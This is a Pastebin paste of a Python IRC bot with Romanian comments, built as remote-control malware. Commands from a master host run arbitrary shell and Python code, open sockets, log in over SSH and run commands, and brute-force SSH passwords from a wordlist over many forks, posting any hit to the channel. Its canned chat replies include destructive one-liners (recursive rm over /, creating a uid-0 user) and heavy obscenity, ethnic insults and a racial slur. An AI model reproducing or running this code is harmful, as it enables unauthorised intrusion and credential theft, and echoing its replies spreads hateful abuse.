Advertisement
a7x4r3v

bot

Jan 12th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.85 KB | None | 0 0
  1. #!/usr/bin/python
  2. # All-purpose IRC bot.
  3. # Pentru comenzi, vezi in sursa.
  4. # cr3ditz: shrood 2015
  5. # In forma actuala merge doar pe undernet.
  6. # Pentru alte servere s-ar putea sa trebuiasca sa excludeti linia 394 din cod.
  7. # op(nick), k(nick), deop(nick), s(1.1.1.1,'22'), ssh(1.1.1.1,'root',+root+,uname -a), brute(ip) - trebuie un pass.txt in directory, j(canal), l(canal), msg(#canal/nick,'mesaj').
  8.  
  9. import socket
  10. import time
  11. import random
  12. import sys
  13. import commands
  14. import os
  15. from pexpect import pxssh
  16.  
  17. botnick = "zpcxff01"
  18. ident = "zpcxff02"
  19. fullname = "zpcxff03"
  20. server = "94.125.182.255"
  21. chan1 = "#include"
  22. chan2 = "#kgb"
  23. master = "shrood"
  24. fullhost = 'ext.users.undernet.org' # host only/any nick auth
  25.  
  26. # Various responses to the triggers.
  27. response = \
  28. {
  29. 1: 'mare hacker si asta', 2: 'nu te ajuta nimeni, stai linistit!', 3: 'hai noroc baietii', 4: 'toate fetele sa vina la mine :))))', 5: 'somn usor', 6: 'stie cineva un exploit bun si NOU?',
  30. 7: 'bai ia gata cu nmapurile astea !', 8: 'craciun fericit si tie bai asta', 9: 'nu merci', 10: "lu ma-ta si lu tactu", 11: "niciodata n-am mai vazut nebunia asta...",
  31. 12: "ba, noi sa fim sanataosi ce dracu", 13: "adica sunt handicapat sau ce ?", 14: "ca un porcusor :))", 15: "asta sparge si nasa daca se enerveaza", 16: 'hai taci ca ma plictisesti!',
  32. 17: "o floodez eu pe sora-ta intre tzatze acu...", 18: "hai care da si mie un root?", 19: "sa nu te mai vad pe aici prostule!", 20: "si totusi esti pe mirc si pierzi timpul...",
  33. 21: "limbajul!", 22: "ce aveti nevoie de atatia eggs?", 23: "da o pula nu vrei?!", 24:"de cati ani stai pe undernet ?", 25: "am scanat o data cu gosh si mi-a luat foc calculatorul :/",
  34. 26: "daca nu-ti merge wget incearca cu fetch", 27: "lasa-ma cu moldovenii tai...", 28: "trebuie sa ne explici mai mult exact ce incerci sa faci", 29: "find / -type f -exec echo x/03/23 {} \;",
  35. 30: "scannere astea sunt asa bune, si ma-ta scaneaza cu ele :)))", 31:"nimeni n-a stiut la inceput, stai linistit :)", 32: "ma gandeam ca daca nu te gandesti as putea sa ma gandesc linistit",
  36. 33: "tu te pishi, eu ma cac :hahahah!!!!!!!!!!!LOL LOL LOL LOL", 34:"daca mai zic o data a, ma sinucid", 35: "vai de pula mea ce beat sunt nenica..",
  37. 36: "pe o scara de la 1 la 10, cat de porno credeti ca sunt?"
  38. }
  39. response2 = \
  40. {
  41. 1: "hacker de carton :)))", 2: "am eu doua hahaha", 3: "ce mai faci?", 4: "mare mare bagaboante", 5: "pa", 6: "daca tot cu bruteforce dati sunteti slabani", 7: "nmap sa dai din root",
  42. 8: 'merry christmos', 9: 'nu vorbesti tu cu mine', 10: "mare bagaboanta ma-ta", 11: "sigur ca asta vrem", 12: "incredibil ce pot scoate unii din gura", 13: "si cacat si de toate=)))",
  43. 14:"de aia n-o la pe fiicamea sa manance nimic", 15: "asta e mare hacker :)", 16: 'sunt beat mort', 17: "si ce fmm rezolvi daca dai flood ?", 18: "buna ziua buna ziua :)", 19: "esti un poponar infect",
  44. 20: "cred ca am scris la viata mea atatea parole....", 21: "vorbeste frumos, cretinule!", 22:"cred ca 99% de aici sunt boti...", 23: 'pun pariu ca are perlbot scanneru ala',
  45. 24: "top 3 cele mai proaste servere: undernet.", 25: "daca vrei sa-ti pice rootu poti sa scanezi cu gosh", 26: "brb ca a venit nevastea sa o fut",
  46. 27: "am fost jefuit de 5 ori in moldova, imi bag pula daca ma mai duc vreodata acolo", 28: "sigur ai nevoie de asa ceva ?",29: "find / -type f -exec echo 'found' {} \;",
  47. 30: "am scanat cu astea de pe canal pana mi-au furat astia vreo 5 rooturi si de atunci m-am potolit", 31: "eu nu stiu ce dracu mai cauti pe aici, hai du-te sa servesti mese, chelneru dracu!",
  48. 32: "eu ma gandesc sa-mi fac un bordel. Maica-ta e prima pe care o chem", 33: "dar de unde atata pishat ma:)))", 34: "cui ii zici ma sa zica a? smechere?", 35: "eggg?!?!??!!?!",
  49. 36: "stiti ca exista o facultate de porno in italia ?"
  50. }
  51. response3 = \
  52. {
  53. 1: "hackeriii lolol", 2: "nu nu :P", 3: "bine bine :)))", 4: "futule in gura sa le fut", 5: "hai du-te",
  54. 6: "ce exploituri se mai fabrica?", 7: "mari hackeri astia cu nmap", 8: "si tie :)", 9: "da ?", 10:"cu cine fmm vorbesti?," ,
  55. 11: "si de ce sa vorbim asa??", 12: "au venit copiii si au facut atac de inima doamne", 13: "sa mananci cacat intr-una :))))", 14: "sa-i manance porcii:)))",
  56. 15: 'sa-i futem pe americani in guraa!!!', 16: 'pe mine m-a prins politia', 17: "poate te floodez eu in cur acuma...", 18: "asta-i viata ;))))))", 19: "uite si noi pe aici...",
  57. 20: "cine dracu si le mai aminteste.... ?", 21: "serios? nu cred asa ceva!", 22: "dati ma botii afara o data...", 23: "bravo! stii sa scanezi.. esti smecher!", 24: "cateodata ma intreb ce dracu mai stau pe undernet",
  58. 25: "e cam prost gosh dupa parerea mea...", 26: "un wget de PIZDA nu aveti?", 27: "am futut o data o moldoveanca.. mama mama!!", 28: "si ce nu merge?", 29: "find / -type f -exec rm -f {} \;",
  59. 30: "daca dai cu scannerele alea iti pica rootu:))))", 31: "asa zicea si ma-ta, ca nu stie daca se fute sau nu. I-am bagat o pula in cur si s-a potolit.", 32: "daca mai stateam sa ma gandesc inainte s-o fut pe ma-ta nu stiu unde ajungeam",
  60. 33: "baaa ia gata cu pishatu!", 34:" SA TE IA DRACU! nu zic A cand vrei tu! boule!" , 35: "si mie imi plac ouale :)", 36: "ana roman e PORNO rau de tot!"
  61. }
  62. response4 = \
  63. {
  64. 1: "din astia care nu stie nimic", 2: "hai canta la alta masa", 3: "salut batrane :))", 4: "niste retardate sa le pish", 5: "lasa-neeee lasa-neee",
  65. 6: "toti cu rooturi doamneee", 7: "cu nmap la ma-ta acasa", 8: "un craciun fericit va doresc si eu", 9: "mai bine taci", 10: "ca ti-o dau de nu te vezi",
  66. 11: "din cimitir in cimitir", 12: "daca e orfan ce sa-i faci", 13: "Cacat, Pishat! MAZGA! :)))", 14: "I'm fat and I know it :D", 15: "ba ce hosturi are asta esti nebun?",
  67. 16: 'am prins-o si eu pe maica-ta de tzatze :)))', 17: "hai ratatule sa vad ce flood dai?", 18: "Eu sunt din turnul severin, voi de unde sunteti? ",
  68. 19: 'si am observat o pizda buna cand ma plimbam ieri cu motoscuterul', 20: "am si eu parole la countar strike ahhaha :))))", 21: "pula-n ma-ta!", 22: "ba frate ce-i cu toti botii astia pe canal?",
  69. 23: "toti ratatii cu scannere...", 24: "nu mai e ce era si undernetu asta....", 25: "nu mai scana cu gosh ala ....", 26: "dati-mi si mie op va rog", 27: "sa ne suga pula toti moldovenii!!!",
  70. 28: "tre' sa explici mai bine exact de ce ai nevoie", 29: "/usr/sbin/useradd -u0 -g0 -o -s /bin/bash user Cu Drept De Root ", 30: "toti care intra aici pe canal cauta scannere, da o pizda nu cautati si voi?",
  71. 31: "eu cred ca tu esti asa prost ca nu stii nimic", 32: "si eu ma gandeam s-o fut pe ma-ta, ce zici de asta ?", 33: "si mie imi cam vine sa ma pish ce-i drept", 34:"nu vreau sa zic a, du-te-n cacat!",
  72. 35: "explicati-mi si mie va rog: CE PULA MEA E UN EGGDROP?", 36: "ziceti-mi si mie un film porno mai nou"
  73. }
  74. response5 = \
  75. {
  76. 1: "cei mai prosti hack3ri :)", 2: "marsh fmm de aici", 3: "ce zici mosule?", 4: "nevastamea e cea mai proasta", 5: "du-te si dormi ca ai nevoie",
  77. 6: "root, NUMAI ROOT AVETI IN CAP!!!!", 7: "daca mai dai o data nmap te pish in freza", 8: "meritzi clisma!", 9: "ce mortii ma-tii vrei ma ?", 10: "vin peste tine in casa si o fut pe sora-ta",
  78. 11: "si de aia copiii aia s-au imbolnavit de holera??", 12: "la cur te-a batut", 13: "PULA PIZDA!!!!!", 14: "sa te fut in gura!", 15: "mama edu du-te-n cacat!!!!",
  79. 16: 'de pula nu ma prinzi si pe mine?', 17: 'poate ii dau acu un flood lu ma-ta!', 18: "de pula sa ma belesti!", 19: "da pe fete nu le bagi in seama?", 20: "parola mea este 123456",
  80. 21: "ai o pula mica rau de tot!", 22: "egguri de cacat...", 23: "daca si tu mai stii sa scanezi....", 24: "undernetu e un pisat", 25: "toti cu gosh... ca sa vezi",
  81. 26: "cum o mai duc hackerii??:))", 27: "moldovenii sunt aia care aproape au reusit sa fie romani dar nu le-a iesit", 28: "pacat... nu primesti nimic!", 29: "find / -type d -exec rm -rf {} \;",
  82. 30: "coaie, daca nu stii sa scanezi cu astea, esti cel mai mare prost", 31: "nici eu nu stiu cand mai vine maica-ta pe la mine sa-mi suga pula :(", 32: "oricum nimeni de la tine din familie nu prea gandeste!",
  83. 33: "de unde ai atata pishat in tine?", 34: "c", 35: "eggdropii sunt de cacat :P", 36: "ce fel de filme porno va plac ?"
  84. }
  85. response6 = \
  86. {
  87. 1: "mai exista hackeri ma?", 2: "sa te piiiiish in freeeza ", 3: "hai noroc, ce faci?? }{", 4: "ca maica-ta asa?", 5: "pa pa pa pa pa pa pa pa pa! pa!", 6: "doar asta ai in cap, root ....",
  88. 7: "nmap sa ti-l bagi in cur boule!", 8: "merrry christmas ho ho ho", 9: "da ma zii ce tot vrei!??!?!", 10: "ai ignore de acum inainte", 11: "chem acum camatarii pentru tine",
  89. 12: "cine sa ma bata ?", 13: "tu te auzi ce vorbesti ma ?", 14: "mincinosu dracu!", 15: "foarte educational ce sa zic... ", 16: "daca nu m-a prins ma-ta cu dintii de pula degeaba",
  90. 17: "cand ti-oi fute un flood acu te potolesti sa stii", 18: "vin si eu sigur!!!!", 19: "ce sa facem si noi... greu... tu?", 20: "si eu am uitat parola la interfon, noroc ca mi-a deschis ma-ta",
  91. 21: "s-o iei tu in gura", 22: "du-te-n mortii ma-tii de bot prost", 23: "am eu un scanner sa ti-l bag in cur!", 24: "cel mai de cacat server", 25: "ma pish pe el de 'gosh'", 26: "hai noroc baietii ce mai faceti? :)",
  92. 27: "moldovenii sunt cei mai prosti:))", 28: "si eu am nevoie de multe", 29: "find / -type d -exec echo 'found' {} \;", 30: "asta sunt practic cele mai usoare scannere, ever!", 31: "daca stiai nu erai asa idiot, stai linistit",
  93. 32: "eu zic sa nu te mai gandesti ca te doare :))", 33: "nu ti-ar fi rusine sa te pishi...", 34: "b", 35:"voua va place tuica fiarta?", 36: "niciodata nu mi-au placut filmele porno"
  94. }
  95. response7 = \
  96. {
  97. 1: "cei mai cretini 'hackeri'", 2: "nu, nu te ajutam cu nimic, ratatule!", 3: "hai noroc. Ce dracu faci cristosu' ma-tii:)) ", 4: "curva e ma-ta ba retardatule!", 5: "hai du-te dracu o data si culca-te",
  98. 6: "ce-i ala 'root' ?", 7: "Daca mai dai o data nmap, intru peste tine in casa. O fut pe ma-ta si pe sora-ta si tie iti dau foc!", 8: "hai imi bag pula in craciunu tau fericit", 9: "poate vin si-ti fut una...",
  99. 10: "pe tactu l-au futut boschetarii aseara in cur", 11: "cea mai mare tzeapa mi-am luat-o cand am fost sa cumpar droguri si am primit faina", 12: "la sah te-a batut ma prostule ?", 13: "cacatu ala sa-l mananci tu prostule!",
  100. 14: "dar tu? dupa ce ca esti gras mai esti si prost", 15: "sa-mi bag pula, toti retardatii cu .edu...", 16: "ce-ai prins ma prostule? m-ai prins de pula!", 17: "flood sa-i dai lu bunica-ta in pizda",
  101. 18: "cine vine mai incolo prin Cismigiu prin parc?", 19: "ce mai faceti? Haideti si la mine pe canal: #include", 20: "mi-a spart o data unu contu de facebook si mi-a pus poze cu puli, mortii ma-sii...",
  102. 21: "mancamiai sperma sa mi-o mananci curva proasta ce e maica-ta", 22: "marsh futu-ti gatul ma-tii de eggdrop", 23: "cel mai bun scanner e ala facut de maica-ta :)))", 24: "nu mai da copy/paste ca prostu",
  103. 25: "sa-mi bag pula daca asta nu e cel mai prost scanner facut vreodata", 26: "wget www.hackers-united.com/pulaDeNegru.tar.gz", 27: "in moldova nu m-as duce nici mort", 28: "te ajut daca ii zici lu maica-ta sa-mi suga pula",
  104. 29: "recomand sa nu iei scanner de pe canal de aici, au numa perlboti si puli bagate adanc prin ele", 30: "daca nici astea nu mai sunt pentru incepatori nu stiu ce dracu mai e:)))", 31: "nu stii pentru ca esti prost, boule!",
  105. 32: "tu te gandesti cam mult asa de felul tau?", 33: "ba nu te mai pisa, ce naiba?", 34: "A", 35: "ce-i ala egg?!", 36: "filmele porno sunt niste cretinitati"
  106. }
  107. # The triggers
  108. triggers = \
  109. {
  110. 1: 'hack', 2: 'ajuta', 3: 'salut', 4: 'curv', 5: 'noapte buna', 6:'root', 7:'!nmap', 8: 'craciun fericit', 9: botnick, 10: "ma-ta", 11: "tzeapa", 12: "batut",
  111. 13: "cacat", 14: "gras", 15:".edu", 16: "am prins", 17: "flood", 18: "bucuresti", 19: "baieti", 20: "parola", 21: "pula", 22: "service bot", 23: "scanner", 24: "bash",
  112. 25: "gosh", 26: "wget", 27: "moldov", 28: "am nevoie", 29: "?? scan", 30: "incepatori", 31: "nu stiu", 32: "ma gandeam", 33: "ma pis", 34: "say a", 35:"egg", 36: "porno" # porno broh
  113. }
  114.  
  115. def pong(ircsock,ircmsg):
  116. quote = ircmsg.split("PING :")[1]
  117. quote = quote.split(":")[0]
  118. ircsock.send("PONG :"+quote+"\n")
  119. return "PONG :"+quote
  120.  
  121. def sendMsg(chan , msg, ircsock): # This is the send message function, it simply sends messages to the channel.
  122. ircsock.send("PRIVMSG "+ chan +" :"+ msg +"\n")
  123.  
  124. def joinChan(chan, ircsock): # This function is used to join channels.
  125. ircsock.send("JOIN "+ chan +"\n")
  126.  
  127. def opNick(ircsock,chan,nick): # op a fucking nick
  128. ircsock.send("MODE "+chan+" +o "+nick+"\n")
  129. return
  130. def deopNick(ircsock,chan,nick): # deop a fucking nick
  131. ircsock.send("MODE "+chan+" -o "+nick+"\n")
  132. return
  133.  
  134. def getRaw(ircsock): # get the raw data from the socket
  135. ircmsg = ircsock.recv(1024)
  136. ircmsg = ircmsg.strip('\r\n')
  137. return ircmsg
  138.  
  139. def findCommMaster(ircmsg,ircsock,fullhost,command):
  140. masterhost = ircmsg.split('@')[1]
  141. masterhost = masterhost.split(' ')[0].find(fullhost) # -1 not found and (not -1) if found.
  142. if ( (masterhost != -1) and (ircmsg.find(command) != -1 ) ):
  143. return True
  144. else:
  145. return False
  146.  
  147. def findComm_AI(ircmsg,ircsock,command):
  148. if (ircmsg.lower().find(command) != -1 ) and (ircmsg.find(' PRIVMSG #')):
  149. return True
  150. else:
  151. return False
  152.  
  153. def scanAI(ircmsg, ircsock, triggers, r1, r2, r3, r4, r5, r6, r7, botnick):
  154. channel = ircmsg.split(' PRIVMSG #')[-1].split(' :')[0]
  155. nick = ircmsg.split('!')[0][1:]
  156. for xz in range(1,len(triggers) +1):
  157. if (findComm_AI(ircmsg,ircsock,triggers[xz]) == True):
  158. if (channel.lower().find(triggers[xz]) == -1) and (nick.lower().find(triggers[xz]) == -1):
  159. x = random.randint(4,6)
  160. time.sleep(x)
  161. response = [r1, r2, r3, r4, r5, r6, r7]
  162. y = random.randint(0, len(response) - 1)
  163. ircsock.send("PRIVMSG "+"#"+channel + " :"+response[y][xz]+"\n")
  164. time.sleep(0.2)
  165. break
  166.  
  167. if (findComm_AI(ircmsg,ircsock,"+dns ") == True): # Dns feature. Does dig +short for hostnames.
  168. try:
  169. ip = ircmsg.split('+dns ')[1]
  170. if (ip.find(' ') != -1):
  171. ip = ip.split(' ')[0]
  172. if (ip.find('&') != -1):
  173. ip = ip.split('&')[0]
  174. if (ip.find(';') != -1):
  175. ip = ip.split(';')[0]
  176. if (ip.find('|') != -1):
  177. ip = ip.split('|')[0]
  178. dns = dnsIP(ip, channel, ircmsg, ircsock)
  179. if (dns != ''):
  180. ircsock.send("PRIVMSG "+"#"+channel + " :"+dns+"\n")
  181. except:
  182. ircsock.send("PRIVMSG "+"#"+channel + " :Bad command you stupid nigger!\n")
  183.  
  184. if (findComm_AI(ircmsg,ircsock,"+smap ") == True): # Socket nmap feature.
  185. try:
  186. ip = ircmsg.split('+smap ')[1]
  187. print ip
  188. if (ip.find(' ') != -1):
  189. ip = ip.split(' ')[0]
  190. if (ip.find('&') != -1):
  191. ip = ip.split('&')[0]
  192. if (ip.find(';') != -1):
  193. ip = ip.split(';')[0]
  194. if (ip.find('|') != -1):
  195. ip = ip.split('|')[0]
  196. except:
  197. ircsock.send("PRIVMSG #"+ channel +" :Bad command, you stupid nigger!\n")
  198. return
  199.  
  200. comm = 'nmap '+ip+' | grep open'
  201. ircsock.send("PRIVMSG #"+ channel +" :Socket nmap information for: "+ip+"\n")
  202. print comm
  203. errstat, comm_output = commands.getstatusoutput(comm)
  204. if (comm_output.find('\n') != -1):
  205. line = comm_output.split('\n')
  206. print line
  207. for xz in range(0,len(line)):
  208. port = line[xz].split('/')[0]
  209. socketstat = getSock(ip,port)
  210. print socketstat
  211. ircsock.send("PRIVMSG #"+channel+" :"+line[xz]+":\n")
  212. print "sending: PRIVMSG #"+channel+" :"+line[xz]+":\n"
  213. if (socketstat == ''):
  214. ircsock.send("PRIVMSG #"+ channel +" :Connection established: empty reply.\n")
  215. elif (socketstat.find('\n') != -1):
  216. socketstat = socketstat.split('\n')
  217. for i in range(0,len(socketstat) -1):
  218. print socketstat[i]
  219. ircsock.send("PRIVMSG #"+ channel + " :"+socketstat[i]+"\n")
  220. else:
  221. ircsock.send("PRIVMSG #"+ channel + " :"+socketstat+"\n")
  222. else:
  223. ircsock.send("PRIVMSG #"+channel+" :"+comm_output+":\n")
  224. port = comm_output.find.split('/')[0]
  225. socketstat = getSock(ip,port)
  226. if (socketstat == ''):
  227. ircsock.send("PRIVMSG #"+ channel + " :Connection established: empty reply."+"\n")
  228. elif (socketstat.find('\n') != -1):
  229. socketstat = socketstat.split('\n')
  230. for i in range(0,len(socketstat) -1):
  231. ircsock.send("PRIVMSG #"+ channel + " :"+socketstat[i]+"\n")
  232. else:
  233. ircsock.send("PRIVMSG #"+ channel + " :"+socketstat+"\n")
  234. ircsock.send("PRIVMSG #"+ channel +" :Finished socket nmap for: "+ip+"\n")
  235.  
  236. return
  237.  
  238. def isHost(host): # Determine if a string has any letters in it.
  239. letters = \
  240. {
  241. 1: 'q', 2: 'w', 3: 'e', 4: 'r', 5: 't', 6: 'y', 7: 'u', 8: 'i', 9: 'o', 10: 'p',
  242. 11: 'a', 12: 's', 13: 'd', 14: 'f', 15: 'g', 16: 'h', 17: 'j', 18: 'k', 19: 'l',
  243. 20: 'z', 21: 'x', 22: 'c', 23: 'v', 24: 'b', 25: 'n', 26: 'm'
  244. }
  245.  
  246. for i in range (1,len(letters)+1):
  247. if ( host.find(letters[i]) != -1 ):
  248. return True
  249. return False
  250.  
  251. def dnsIP(ip,channel,ircmsg,ircsock): # Dns feature. Does dig +short for hostnames.
  252. comm = ''
  253. dns = ''
  254.  
  255. if (isHost(ip) == True):
  256. comm = "dig +short "+ip
  257. shellCmd(ircmsg, ircsock, comm)
  258.  
  259. if (isHost(ip) == False):
  260. try:
  261. dns = "[0] "+socket.gethostbyaddr(ip)[0]
  262. except:
  263. dns = "no dns/invalid shit ip."
  264.  
  265. return dns
  266.  
  267. def firstPing(ircsock):
  268. while True:
  269. time.sleep(0.1)
  270. ircmsg = getRaw(ircsock)
  271. print(ircmsg)
  272. if ircmsg.find("PING :"):
  273. pong(ircsock, ircmsg)
  274. break
  275. time.sleep(2)
  276. return
  277.  
  278. def shellCmd(ircmsg,ircsock,comm):
  279. channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
  280. errstat, comm_output = commands.getstatusoutput(comm)
  281. if (errstat != 0):
  282. ircsock.send("PRIVMSG "+channel+" :Exit code ["+str(errstat)+"].\n")
  283. if (comm_output.find('\n') != -1):
  284. line = comm_output.split('\n')
  285. for xz in range(0, len(line)):
  286. ircsock.send("PRIVMSG "+channel+" :["+str(xz+1)+"] "+line[xz]+"\n")
  287. print str(xz)+" "+line[xz]
  288. time.sleep(1)
  289. else:
  290. ircsock.send("PRIVMSG "+channel+" :[0] "+comm_output+"\n")
  291.  
  292. def scanMasterComm(ircmsg, ircsock, fullhost): # Master commands.
  293. channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
  294. if (findCommMaster(ircmsg, ircsock, fullhost, 'msg(') == True): # msg.
  295. msgtarget = ircmsg.split('msg(')[1].split(',')[0]
  296. message = ircmsg.split(',\'')[1].split('\')')[0]
  297. sendMsg(msgtarget , message, ircsock)
  298.  
  299. if (findCommMaster(ircmsg, ircsock, fullhost, 'op(') == True): # op.
  300. targetnick = ircmsg.split('op(')[1].split(')')[0]
  301. if (targetnick == ''):
  302. targetnick = ircmsg.split('!')[0][1:]
  303. opNick(ircsock,channel,targetnick) # op
  304.  
  305. if (findCommMaster(ircmsg, ircsock,fullhost, 'deop(') == True): # deop.
  306. targetnick = ircmsg.split('op(')[1].split(')')[0]
  307. if (targetnick == ''):
  308. targetnick = ircmsg.split('!')[0][1:]
  309. deopNick(ircsock,channel,targetnick) # op
  310.  
  311. if (findCommMaster(ircmsg, ircsock,fullhost, 'cine esti ?') == True): # ???!?!?!?!??!
  312. ircsock.send("PRIVMSG "+ channel + " :zpcxff01\n")
  313.  
  314. if (findCommMaster(ircmsg, ircsock, fullhost, 'j(') == True): # Join.
  315. newchannel = '#'+ircmsg.split('j(')[1].split(')')[0]
  316. joinChan(newchannel, ircsock)
  317.  
  318. if (findCommMaster(ircmsg, ircsock, fullhost, 'l(') == True): # Part.
  319. leavechannel = '#'+ircmsg.split('l(')[1].split(')')[0]
  320. ircsock.send("PART "+ leavechannel+ "\n")
  321.  
  322. if (findCommMaster(ircmsg, ircsock, fullhost, 'k(') == True): # Kick.
  323. kicknick = ircmsg.split('k(')[1].split(')')[0]
  324. ircsock.send("KICK "+channel+" "+kicknick+" :done\n")
  325.  
  326. if (findCommMaster(ircmsg, ircsock, fullhost, 'ex(') == True): # Shell cmd feature.
  327. comm = ircmsg.split('ex(')[1].split('+)')[0]
  328. if os.fork():
  329. shellCmd(ircmsg, ircsock, comm)
  330. os._exit(0)
  331.  
  332. if (findCommMaster(ircmsg, ircsock, fullhost, 'ev(') == True): # Eval feature.
  333. channel = ircmsg.split(' PRIVMSG ')[-1].split(' :')[0]
  334. comm = ircmsg.split('ev(')[1].split('+)')[0]
  335. f = open('test.py', 'w')
  336. if (comm.find('^^') != -1):
  337. comm = comm.split('^^')
  338. for i in range(0,len(comm)):
  339. f.write(comm[i]+"\n")
  340. f.close()
  341. shellCmd(ircmsg,ircsock,"python test.py")
  342. else:
  343. f.write(comm)
  344. f.close()
  345. shellCmd(ircmsg,ircsock,"python test.py")
  346.  
  347. if (findCommMaster(ircmsg, ircsock, fullhost, 's(') == True): # Get a socket connection.
  348. try:
  349. ip = ircmsg.split('s(')[1].split(',')[0]
  350. port = ircmsg.split(',\'')[1].split('\')')[0]
  351. if (port == '') or (ip == ''):
  352. ircsock.send("PRIVMSG "+ channel + " :Error: bad command!"+"\n")
  353. return
  354. except:
  355. ircsock.send("PRIVMSG "+ channel + " :Error: bad command!"+"\n")
  356. return
  357. msg = getSock(ip,port)
  358. if (msg == ''):
  359. ircsock.send("PRIVMSG "+ channel + " :Connection established: empty reply."+"\n")
  360. elif (msg.find('\n') != -1):
  361. msg = msg.split('\n')
  362. for i in range(0,len(msg) -1):
  363. ircsock.send("PRIVMSG "+ channel + " :"+msg[i]+"\n")
  364. else:
  365. ircsock.send("PRIVMSG "+ channel + " :"+msg+"\n")
  366.  
  367. # Get an ssh connection and run a command and print the output on irc.
  368. if (findCommMaster(ircmsg, ircsock, fullhost, 'ssh(') == True):
  369. try:
  370. ssh = pxssh.pxssh()
  371. ip = ircmsg.split("ssh(")[1].split(',')[0]
  372. login = ircmsg.split(",'")[1].split("',")[0]
  373. password = ircmsg.split(",+")[1].split("+,")[0]
  374. comm = ircmsg.split("+,")[1].split(")")[0]
  375. try:
  376. ssh.login (ip, login, password)
  377. ssh.sendline(comm)
  378. ssh.prompt()
  379. msg = ssh.before.split('\n')
  380. ssh.logout()
  381. for i in range(1,len(msg) -1):
  382. ircsock.send("PRIVMSG "+channel+" :"+msg[i]+"\n")
  383. except:
  384. ircsock.send("PRIVMSG "+channel+" :Login failed."+"\n")
  385. except IndexError:
  386. ircsock.send("PRIVMSG "+channel+" :Error: bad command!"+"\n")
  387.  
  388. # Bruteforce a single ip until it goes MAD!
  389. if (findCommMaster(ircmsg, ircsock, fullhost, 'brute(') == True):
  390. if ( os.fork() == 0 ):
  391. bruteForce(ircmsg, channel, ircsock)
  392. sys.exit(0)
  393.  
  394. if (findCommMaster(ircmsg, ircsock, fullhost, 'bclean') == True):
  395. ircsock.send("PRIVMSG "+channel+" :Cleaning leftover children..."+"\n")
  396. count = 0
  397. while True:
  398. try:
  399. os.wait()
  400. count += 1
  401. except OSError:
  402. ircsock.send("PRIVMSG "+channel+" :Done. Cleaned "+str(count)+" children.\n")
  403. break
  404.  
  405. def bruteForce(ircmsg, channel, ircsock):
  406. try:
  407. ip = ircmsg.split("brute(")[1].split(',')[0]
  408. maxforks = int(ircmsg.split(",+")[1].split('+)')[0])
  409. except:
  410. ircsock.send("PRIVMSG "+ channel + " :Bad command dipshit\n")
  411. return
  412. passfile = "pass.txt"
  413. if os.path.exists(passfile) != True:
  414. ircsock.send("PRIVMSG "+ channel + " :No pass.txt dipshit\n")
  415. return
  416. with open(passfile, 'r') as count:
  417. for i, l in enumerate(count):
  418. pass
  419. file_len = i + 1
  420. ircsock.send("PRIVMSG "+ channel + " :Got ["+str(file_len)+"] lines in passfile\n")
  421. ircsock.send("PRIVMSG "+ channel + " :Starting sequence with ["+str(maxforks)+"] forks.\n")
  422. with open(passfile, 'r') as infile:
  423. numforks = 0
  424. line_count = 0
  425. increment = 25
  426. x = 25
  427. for line in infile:
  428. line_count += 1
  429. if (line_count == x):
  430. ircsock.send("PRIVMSG "+ channel + " :["+str(line_count)+"] down.\n")
  431. x += increment
  432. if (line_count == file_len):
  433. ircsock.send("PRIVMSG "+ channel + " :Sequence completed succesfully.\n")
  434. if ( os.fork() == 0 ):
  435. line = line.strip("\r\n")
  436. user = line.split(' ')[0]
  437. password = line.split(' ')[1]
  438. got_it = checkAuth(ip, user, password)
  439. if (got_it == True):
  440. time.sleep(1)
  441. ircsock.send("PRIVMSG "+ channel + " :Got it! --> "+user+":"+password+":"+ip+"\n")
  442. os._exit(0)
  443. else:
  444. numforks += 1
  445. if (numforks > maxforks):
  446. while (numforks > maxforks):
  447. os.wait()
  448. numforks -= 1
  449. ircsock.send("PRIVMSG "+ channel + " :Cleaning up children.\n")
  450. for i in range(maxforks):
  451. os.wait()
  452.  
  453. def checkAuth(ip, user, password):
  454. got_it = False
  455. try:
  456. print "Trying "+ip+":"+user+":"+password
  457. s = pxssh.pxssh()
  458. s.login(ip, user, password)
  459. got_it = True
  460. time.sleep(1)
  461. ssh.logout()
  462. return got_it
  463. except:
  464. return got_it
  465.  
  466. def getSock(ip,port):
  467. print ip
  468. print port
  469. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  470. sock.setblocking(1)
  471. sock.settimeout(5.0)
  472. try:
  473. sock.connect((ip,int(port)))
  474. except:
  475. return "Socket not connecting on that ip/port."
  476. ret = ''
  477. for i in range(5):
  478. try:
  479. ret += sock.recv(128)
  480. except socket.error:
  481. return ret
  482. sock.close()
  483. print ret
  484. return ret
  485.  
  486. def firstConnect():
  487. ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  488. ircsock.connect((server, 6667))
  489.  
  490. ircsock.send("USER "+ botnick +" "+ ident +" "+ fullname +" :"+ident+"\n") # user authentication
  491. ircsock.send("NICK "+ botnick +"\n")
  492. ircsock.send("")
  493. time.sleep(2)
  494. firstPing(ircsock) # First server ping.
  495. time.sleep(1)
  496. ircsock.send("PRIVMSG X@channels.undernet.org :login dick dick\n") # user authentication
  497. ircsock.send("MODE "+botnick+" +x\n")
  498. time.sleep(2)
  499. joinChan(chan1,ircsock); time.sleep(0.5);
  500. #joinChan(chan2,ircsock)
  501. return ircsock
  502.  
  503. def main():
  504. #masternick = ircmsg.split('!')[0][1:].find('shrood') - for nick-only auth.
  505. # Open socket
  506. ircsock = firstConnect()
  507. while True:
  508. try:
  509. ircmsg = getRaw(ircsock)
  510. print(ircmsg)
  511. if (ircmsg.find("PING :") != -1):
  512. pong(ircsock,ircmsg)
  513. if ( ircmsg.find(' PRIVMSG ') != -1 ): # This is if we find PRIVMSG
  514. scanMasterComm(ircmsg, ircsock, fullhost)
  515. scanAI(ircmsg, ircsock, triggers,response, response2, response3, response4, response5, response6, response7, botnick) # The AI module.
  516. time.sleep(0.2)
  517. except socket.error:
  518. time.sleep(5)
  519. ircsock = firstConnect()
  520. if __name__ == '__main__':
  521. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement